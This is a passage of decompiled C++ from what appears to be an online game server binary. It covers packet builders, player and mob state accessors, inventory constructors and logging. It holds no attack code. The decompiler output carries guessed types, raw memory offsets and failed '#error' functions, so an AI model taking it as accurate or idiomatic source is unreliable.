(PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimh_nc->protocol = v1->bimh_nc->protocol & 0xFC13 | 0x13; } //----- (00520410) -------------------------------------------------------- void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this) { BriefInformationEffect *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bie_Pack.pp_PacketLength = 0; this->bie_Pack.pp_Buffer = this->bie_Array; this->bie_Pack.pp_BufferSize = 51; ProtocolPacket::pp_SetPacketLen(&this->bie_Pack, 50); v2 = v1->bie_Pack.pp_Buffer; v1->bie_nc = (NETCOMMAND *)v1->bie_Pack.pp_Buffer; v1->bie_BriefInfo = (PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bie_nc->protocol = v1->bie_nc->protocol & 0xFC11 | 0x11; v1->bie_BriefInfo->scale = 1000; } //----- (00520470) -------------------------------------------------------- void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this) { BriefInformationDoor *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_pack.pp_PacketLength = 0; this->bid_pack.pp_Buffer = this->bid_array; this->bid_pack.pp_BufferSize = 51; ProtocolPacket::pp_SetPacketLen(&this->bid_pack, 50); v2 = v1->bid_pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_pack.pp_Buffer; v1->bid_BriefInfo = (PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0F | 0xF; v1->bid_BriefInfo->scale = 1000; } //----- (005204D0) -------------------------------------------------------- void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this) { BriefInformationDropItem *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bidi_Pack.pp_PacketLength = 0; this->bidi_Pack.pp_Buffer = this->bidi_Array; this->bidi_Pack.pp_BufferSize = 18; ProtocolPacket::pp_SetPacketLen(&this->bidi_Pack, 17); v2 = v1->bidi_Pack.pp_Buffer; v1->bidi_nc = (NETCOMMAND *)v1->bidi_Pack.pp_Buffer; v1->bidi_BriefInfo = (PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bidi_nc->protocol = v1->bidi_nc->protocol & 0xFC0A | 0xA; } //----- (00520530) -------------------------------------------------------- void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this) { BriefInformationMagicField *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimfm_Pack.pp_PacketLength = 0; this->bimfm_Pack.pp_Buffer = this->bimfm_Array; this->bimfm_Pack.pp_BufferSize = 19; ProtocolPacket::pp_SetPacketLen(&this->bimfm_Pack, 18); v2 = v1->bimfm_Pack.pp_Buffer; v1->bimfm_nc = (NETCOMMAND *)v1->bimfm_Pack.pp_Buffer; v1->bimfm_BriefInfo = (PROTO_NC_BRIEFINFO_MAGICFIELDSPREAD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimfm_nc->protocol = v1->bimfm_nc->protocol & 0xFC0C | 0xC; } //----- (00520590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps) { int result; // eax@1 result = ps; *(_DWORD *)(this + 139392) = ps; return result; } //----- (005205A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this) { *(_BYTE *)(this + 23353) &= 0xDFu; } //----- (005205B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this) { *(_BYTE *)(this + 23353) &= 0xBFu; } //----- (005205C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect) { char result; // al@1 result = isPossibleNewConnect; *(_BYTE *)(this + 143312) = isPossibleNewConnect; return result; } //----- (005205D0) -------------------------------------------------------- void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemEquipment::ItemEquipment(&this->ci_Equipment); ItemInventory::ItemInventory(&v1->ci_Inventory); ItemQuestItemBox::ItemQuestItemBox(&v1->ci_QuestBox); ItemMiniHouseBox::ItemMiniHouseBox(&v1->ci_MiniHouse); ItemActionItemBox::ItemActionItemBox(&v1->ci_ActionBox); } //----- (00520650) -------------------------------------------------------- void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemActionItemBox::_ItemActionItemBox(&this->ci_ActionBox); ItemMiniHouseBox::_ItemMiniHouseBox(&v1->ci_MiniHouse); ItemQuestItemBox::_ItemQuestItemBox(&v1->ci_QuestBox); ItemInventory::_ItemInventory(&v1->ci_Inventory); ItemEquipment::_ItemEquipment(&v1->ci_Equipment); } //----- (005206D0) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this) { *(_QWORD *)&this->sGuildName.n4_name[8] = 0i64; *(_QWORD *)&this->sGuildName.n4_name[0] = 0i64; } //----- (005206E0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar() { int result; // eax@1 memset(BriefInformationMob::bim_DefStateBit, 0, 0x4Cu); ShineObjectClass::ShineObject::so_defstopmotion.emoticonid = -1; ShineObjectClass::ShineObject::so_defstopmotion.emoticonframe = -1; BriefInformationMob::bim_DefStateBit[76] = 0; ItemBag::ib_InitStateCell(); word_130BDA46 = 1000; word_130BDA48 = 1000; word_130BDA52 = 1000; word_130BDA54 = 1000; word_130BDA5A = 1000; word_130BDA5E = 1000; word_130BDA60 = 1000; word_130BDA62 = 1000; word_130BDA64 = 1000; word_130BDA66 = 1000; word_130BDA6A = 100; word_130BDA6C = 100; ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_SilverWingCoolTime_Minute = 60; byte_130BDA4A = 0; byte_130BDA4E = 0; byte_130BDA4F = 0; byte_130BDA50 = 0; byte_130BDA51 = 0; word_130BDA56 = 1024; word_130BDA58 = 1024; byte_130BDA5C = 0; byte_130BDA5D = 0; byte_130BDA68 = 1; byte_130BDA69 = 0; word_130BDA6E = 240; ShineObjectClass::ShineObject::so_WeddingData.header.clienthandle = -1; ShineObjectClass::ShineObject::so_WeddingData.header.charregistnumber = -1; ShineObjectClass::ShineObject::so_WeddingData.Status._bf0 = 0; ShineObjectClass::ShineObject::so_WeddingData.When._bf0 = ShineObjectClass::ShineObject::so_WeddingData.___u4.SubWhen._bf0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[11] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[7] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[3] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0 = 0; strncpy(&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0, byte_635E1E, 0x10u); *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[15] = -1; ShineObjectClass::ShineObject::so_WeddingData.WeddingCount = 0; ShineObjectClass::ShineObject::so_WeddingData.RefusalCount = 0; result = MiscDataTable::MiscData_Skill::mds_Init((int)&ShineObjectClass::ShineObject::so_MiscTableDef, -1); *(_DWORD *)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing.iti_registnum.binary.gap0[0] = -1; dword_130BD95C = -1; byte_130BDA70 = 0; return result; } // 130BD958: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 130BD95C: using guessed type int dword_130BD95C; // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA44: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; // 130BDA46: using guessed type __int16 word_130BDA46; // 130BDA48: using guessed type __int16 word_130BDA48; // 130BDA4A: using guessed type char byte_130BDA4A; // 130BDA4E: using guessed type char byte_130BDA4E; // 130BDA4F: using guessed type char byte_130BDA4F; // 130BDA50: using guessed type char byte_130BDA50; // 130BDA51: using guessed type char byte_130BDA51; // 130BDA52: using guessed type __int16 word_130BDA52; // 130BDA54: using guessed type __int16 word_130BDA54; // 130BDA56: using guessed type __int16 word_130BDA56; // 130BDA58: using guessed type __int16 word_130BDA58; // 130BDA5A: using guessed type __int16 word_130BDA5A; // 130BDA5C: using guessed type char byte_130BDA5C; // 130BDA5D: using guessed type char byte_130BDA5D; // 130BDA5E: using guessed type __int16 word_130BDA5E; // 130BDA60: using guessed type __int16 word_130BDA60; // 130BDA62: using guessed type __int16 word_130BDA62; // 130BDA64: using guessed type __int16 word_130BDA64; // 130BDA66: using guessed type __int16 word_130BDA66; // 130BDA68: using guessed type char byte_130BDA68; // 130BDA69: using guessed type char byte_130BDA69; // 130BDA6A: using guessed type __int16 word_130BDA6A; // 130BDA6C: using guessed type __int16 word_130BDA6C; // 130BDA6E: using guessed type __int16 word_130BDA6E; // 130BDA70: using guessed type char byte_130BDA70; //----- (00520840) -------------------------------------------------------- #error "520840: undefined or illegal type '#593' (funcsize=25)" //----- (005208A0) -------------------------------------------------------- #error "5208A0: undefined or illegal type '#593' (funcsize=26)" //----- (00520910) -------------------------------------------------------- void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this) { if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; } // 6A7AC4: using guessed type int g_BroadcastStackPoint; //----- (00520940) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode) { int result; // eax@1 result = *(_DWORD *)(this + 3568); *(_BYTE *)result = mode; return result; } //----- (00520950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this) { this->stream.baseclass_0.vfptr = (PacketContainerBaseVtbl *)&PacketContainerBase::_vftable_; } // 660EA4: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int itm); //----- (00520960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this) { CharacterInventory *v1; // esi@1 v1 = (CharacterInventory *)this; InventoryLocking::InventoryCellLockList::_InventoryCellLockList((InventoryLocking::InventoryCellLockList *)((char *)this + 25568)); CharacterInventory::_CharacterInventory(v1); } //----- (005209B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; MoveManager::MoveManager((DiceTaiSai *)&this->currentmenu); ServerMenuActor::ServerMenuActor(&v1->servermenuactor); MoveManager::MoveManager((DiceTaiSai *)&v1->duplicatemenustate); } //----- (00520A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->duplicatemenustate); ServerMenuActor::_ServerMenuActor(&v1->servermenuactor); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->currentmenu); } //----- (00520A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this) { ItemAccountStorage::_ItemAccountStorage(&this->storage); } //----- (00520A90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this) { ShineObjectClass::ShinePlayer::BoothSell *v1; // esi@1 v1 = this; StreetBoothBuy::_StreetBoothBuy(&this->boardbuy); StreetBoothSell::_StreetBoothSell(&v1->boardsell); } //----- (00520AF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this) { CChargedItem::Clear(&this->inven); } //----- (00520B00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_EqualSetitemIndexNameCount(void *this, const char *pkSetItemName) { const char *v2; // ebx@1 void *v3; // edx@1 int result; // eax@2 unsigned int v5; // edi@4 int v6; // ebp@4 int v7; // eax@5 ItemDataBox::ItemDataBoxIndex *v8; // eax@6 int pkSetItemNamea; // [sp+8h] [bp+4h]@4 v2 = pkSetItemName; v3 = this; if ( pkSetItemName ) { result = strncmp("-", pkSetItemName, 2); if ( result ) { pkSetItemNamea = 0; v5 = 0; v6 = (int)((char *)v3 + 32312); do { v7 = (**(int (__thiscall ***)(_DWORD, _DWORD))v6)(v6, v5); if ( v7 ) { v8 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v7 + 8)); if ( v8 ) { if ( !strcmp(v8->data->SetItemIndex, v2) ) ++pkSetItemNamea; } } ++v5; } while ( v5 < 0x1D ); result = pkSetItemNamea; } } else { result = 0; } return result; } //----- (00520BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::ItemFurnicherBox(&this->FurnitureInven); ItemFurnicherBox::ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::ItemFurnicherBox(&v1->MiniGameInven); } //----- (00520C30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::_ItemFurnicherBox(&this->MiniGameInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->FurnitureInven); } //----- (00520D70) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this) { MobTacticElement::MobActionArgument::Actor *v1; // esi@1 v1 = this; MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&this->turning); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->swingdamage); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->waitskillend); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->avoidoverlap); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->backstep); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->attack); MobTacticElement::MobActionWander::_MobActionWander(&v1->wander); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_cancelable); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)v1); } //----- (00520E50) -------------------------------------------------------- void *__thiscall MobTargetHasDisposition::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00520E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineAxialFlag::so_BroadcastLogout", 0); } //----- (00520E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS) { unsigned __int8 v4; // al@1 v4 = (*(int (**)(void))(*(_DWORD *)this + 1228))(); AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_Disconnect", v4); } //----- (00520EB0) -------------------------------------------------------- int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_WORD *)(this + 48) = *(_WORD *)(a2 + 48); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_DWORD *)(this + 78) = *(_DWORD *)(a2 + 78); *(_DWORD *)(this + 82) = *(_DWORD *)(a2 + 82); *(_WORD *)(this + 86) = *(_WORD *)(a2 + 86); memcpy((void *)(this + 88), (const void *)(a2 + 88), 0x1Cu); return result; } //----- (00520F70) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1924))("Error in KeepFromChat"); } //----- (00520F90) -------------------------------------------------------- int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1924))("Success to silence"); } //----- (00520FB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag) { void *v2; // esi@1 int v3; // ecx@3 int v4; // eax@4 int v5; // eax@7 unsigned __int16 v6; // di@7 int v7; // ST38_4@7 int v8; // ST30_4@7 char *v9; // ST28_4@7 int v10; // ST20_4@7 int v11; // ST18_4@7 Name4 *v12; // eax@7 char *v13; // ST08_4@7 DebugLogging *v14; // eax@7 DebugLogging *v15; // eax@7 DebugLogging *v16; // eax@7 DebugLogging *v17; // eax@7 DebugLogging *v18; // eax@7 DebugLogging *v19; // eax@7 DebugLogging *v20; // eax@7 DebugLogging *v21; // eax@7 DebugLogging *v22; // eax@7 DebugLogging *v23; // eax@7 DebugLogging *v24; // eax@7 DebugLogging *v25; // eax@7 DebugLogging *v26; // eax@7 DebugLogging *v27; // eax@7 DebugLogging *v28; // eax@7 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) != 3 ) { v3 = *(_DWORD *)((char *)v2 + 98); if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); if ( v4 ) { if ( *(_BYTE *)(v4 + 54) ) { v5 = *(_DWORD *)((char *)v2 + 78); v6 = *((_WORD *)v2 + 2); v7 = *(_DWORD *)(v5 + 4); v8 = *(_DWORD *)v5; v9 = NameString::operator__(&namestring, (Name3 *)v3); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 840))(v2); v12 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v13 = NameString::operator__(&namestring, v12); v14 = DebugLogging::operator<<(&KQLogoutLog, flag); v15 = DebugLogging::operator<<(v14, (char *)&stru_646F38); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)&argument); v18 = DebugLogging::operator<<(v17, v6); v19 = DebugLogging::operator<<(v18, (char *)&stru_63C688); v20 = DebugLogging::operator<<(v19, v11); v21 = DebugLogging::operator<<(v20, (char *)&stru_63C688); v22 = DebugLogging::operator<<(v21, v10); v23 = DebugLogging::operator<<(v22, (char *)&unk_63D200); v24 = DebugLogging::operator<<(v23, v9); v25 = DebugLogging::operator<<(v24, (char *)&stru_63C688); v26 = DebugLogging::operator<<(v25, v8); v27 = DebugLogging::operator<<(v26, (char *)&stru_63C688); v28 = DebugLogging::operator<<(v27, v7); DebugLogging::operator<<(v28, &deb_LF); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LogoutLog : NULLOp", 0); } } } } } //----- (00521100) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord() { return &ShineObjectClass::ShineObject::so_TempLocation; } //----- (00521110) -------------------------------------------------------- SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this) { return &this->safm_DefaultCoord; } //----- (00521120) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule) { int result; // eax@1 result = pCurRule; *(_DWORD *)(this + 7424) = pCurRule; return result; } //----- (00521130) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this) { DebugLogging *v1; // edi@2 _iobuf *v2; // eax@4 DebugLogging *v3; // edi@6 _iobuf *v4; // eax@8 DebugLogging *v5; // edi@10 _iobuf *v6; // eax@12 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 DebugLogging *v9; // edi@18 _iobuf *v10; // eax@20 _iobuf *v11; // eax@25 char k; // [sp+7h] [bp-5h]@1 ProtocolLogger *v13; // [sp+8h] [bp-4h]@1 v13 = this; for ( k = this->pl_Pointer; (unsigned __int8)k < (unsigned int)v13->pl_Pointer + 16; ++k ) { v1 = DebugLogging::operator<<(&EldLocateLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v1->dl_Activ ) { DebugLogging::dl_FilePoint(v1); v2 = v1->dl_FilePointer; if ( v2 ) fprintf(v2, "%d"); } } v3 = DebugLogging::operator<<(v1, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { if ( v9->dl_FilePointer ) { v11 = DebugLogging::dl_FilePoint(v9); fputc(10, v11); fflush(v9->dl_FilePointer); fclose(v9->dl_FilePointer); v9->dl_FilePointer = 0; } } } } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00521350) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this) { return *(_WORD *)(this + 7692); } //----- (00521360) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid) { __int16 result; // ax@1 result = skillid; *(_WORD *)(this + 7692) = skillid; return result; } //----- (00521370) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetChaoticPoint(int this) { return *(_DWORD *)(*(_DWORD *)(this + 32160) + 180); } //----- (00521380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this) { *(_BYTE *)(this + 9008) |= 8u; } //----- (00521390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@1 int v6; // edi@1 int v7; // eax@2 MobDataBox::MobDataBoxIndex *v8; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1176))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 40))(v2, v1, (char *)v1 + 3860); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1068))(v1); v5 = *(_DWORD *)v1; *((_DWORD *)v1 + 895) = ((signed int)((unsigned __int64)(v3 * (*(_DWORD *)(v4 + 2444) + *((_WORD *)v1 + 71351) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (*(_DWORD *)(v4 + 2444) + *((_WORD *)v1 + 71351) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v6 = (*(int (__thiscall **)(void *))(v5 + 1068))(v1); *((_DWORD *)v1 + 895) += *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1068))(v1) + 332) + *(_DWORD *)(v6 + 2252); if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1068))(v1) + 3092) != -1 ) { v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1068))(v1); v8 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v7 + 3092)); if ( v8 ) *((_DWORD *)v1 + 895) = v8->data->MaxHP; } return *((_DWORD *)v1 + 895); } //----- (00521480) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this) { return *(_BYTE *)(this + 143816); } //----- (00521490) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq) { char result; // al@1 result = IsQuestRewardReq; *(_BYTE *)(this + 143816) = IsQuestRewardReq; return result; } //----- (005214A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_AccountStorageAnywhereOpen(int this) { *(_BYTE *)(this + 23352) |= 0x20u; } //----- (005214B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_AccountStorageAnywhereClose(int this) { *(_BYTE *)(this + 23352) &= 0xDFu; } //----- (005214C0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (005214E0) -------------------------------------------------------- #error "5214E0: undefined or illegal type '#593' (funcsize=43)" //----- (00521550) -------------------------------------------------------- #error "521550: undefined or illegal type '#593' (funcsize=26)" //----- (005215A0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ShineObjectManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 661050: using guessed type int (__stdcall *ShineObjectManager___vftable_[3])(__int16 hnd); //----- (005215C0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (005215E0) -------------------------------------------------------- int __thiscall _vcall_(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1192))(); } //----- (005215F0) -------------------------------------------------------- void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd) { this->orf_Header = hd; } //----- (00521600) -------------------------------------------------------- char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; 